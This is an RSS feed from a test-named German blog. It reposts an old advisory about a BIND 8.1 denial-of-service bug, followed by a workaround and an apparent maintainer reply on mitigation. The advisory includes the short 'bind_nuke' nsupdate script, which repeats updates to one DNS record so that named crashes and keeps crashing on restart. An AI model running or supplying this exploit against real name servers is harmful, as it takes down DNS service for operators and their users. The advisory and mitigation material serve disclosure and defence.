<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet href="http://blogg.de/css/rss.css" type="text/css"?>
<rss version="2.0" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:ent="http://www.purl.org/NET/ENT/1.0/"  xmlns:dc="http://purl.org/dc/elements/1.1/" >
<channel>
<title>aaaasd adas d</title>
<link>http://aaaaaa.blogg.de/</link>
<description>asd asd asd</description>
<language>de</language>
<lastBuildDate>Tue, 28 Feb 2006 23:30:39 +0100</lastBuildDate>
<docs>http://backend.userland.com/rss</docs>
<generator>blogg.de</generator>
<managingEditor>rss@blogg.de</managingEditor>
<webMaster>webmaster@blogg.de</webMaster>
<item>
<title>test hier wird getestet</title>
<link>http://aaaaaa.blogg.de/eintrag.php?id=1</link>
<description><![CDATA[<PRE>--------------------------------------------------&gt;<br />
#!/bin/bash<br />
<br />
echo 'bind_nuke (c) Artur Skawina skawina@usa.net'<br />
<br />
nsupdate &lt;&lt;END<br />
update delete x.$1 A<br />
update add x.$1 60 IN A 3.2.3.6<br />
update delete x.$1 A<br />
<br />
END<br />
&lt;--------------------------------------------------<br />
<br />
when executed as "bind_nuke bogus.org" on a host, that bogus.org's<br />
primary NS is configured to accept updates from, will cause named<br />
to silently die. Nothing in the logs, nothing on the console.<br />
After a number of similar packets has been received by named any<br />
subsequent attempt to run it will only result in a Segmentation Fault.<br />
[and there's "spoofing"...]<br />
<br />
The problem seems to be that bind can not handle updating the<br />
same RR more than once in the same DNS packet.<br />
And as it saves the update requests in the &lt;zone&gt;.log file<br />
and attempts to perform the updates again when restarted,<br />
the bug is triggered again...<br />
<br />
The bug is present in both bind8.1 and bind8.1.1.<br />
With bind8.1 one such DU packet was enough to prevent named from runing,<br />
until the /var/named/pri/&lt;zone&gt;.log file was removed/edited.<br />
Bind 8.1.1 needs a few packets (but usually &lt;=3) before this happens<br />
(named still dies after only one packet, but it is sometimes possible to<br />
restart it w/o any immediate errors/warnings).<br />
<br />
<br />
----------------------------------------------------<br />
<br />
(This workaround won't work for the attack listed, but it's still useful to<br />
know..)<br />
<br />
If you're using named 8.*, it can be run out of inittab with the<br />
non-daemonising switch.<br />
<br />
On linuxen:<br />
<br />
/etc/inittab<br />
<br />
bi:2345:respawn:/usr/sbin/named -f<br />
<br />
At least this way, should it die, it'll come back within seconds.<br />
<br />
-----------------------------------------------------<br />
<br />
<br />
If you don't enable updates for a zone, or you enable them only from hosts<br />
within an intelligent (source routing prohibited, source addresses checked)<br />
firewall, bind is immune to the "bind_nuke" attack published here recently.<br />
<br />
updates aren't on by default, and according to rfc 2136 dns updates are not<br />
recommended except from "localhost" which is assumed to be secure.  (though<br />
i wish that more system vendors would disallow source-address 127.0.0.1 from<br />
coming in off the network.)  for this reason we have not published a patch<br />
to bind-8.1.1.  i expect that we will put bind-8.1.2 into beta testing in a<br />
few weeks.  (note that we still won't have support for rfc 2137 or TSIG; if<br />
any system vendors would like to fund that effort, we'd love to work on it.)<br />
<br />
mountain.  molehill.<br />
<br />
<br />
------------------------------------------------------<br />
</PRE> <br /><br /> ]]></description>
<pubDate>Tue, 28 Feb 2006 23:30:39 +0100</pubDate>
<dc:creator>aaaaaa</dc:creator>
<trackback:ping>http://aaaaaa.blogg.de/trackback.php?id=1</trackback:ping>
</item>
</channel>
</rss>

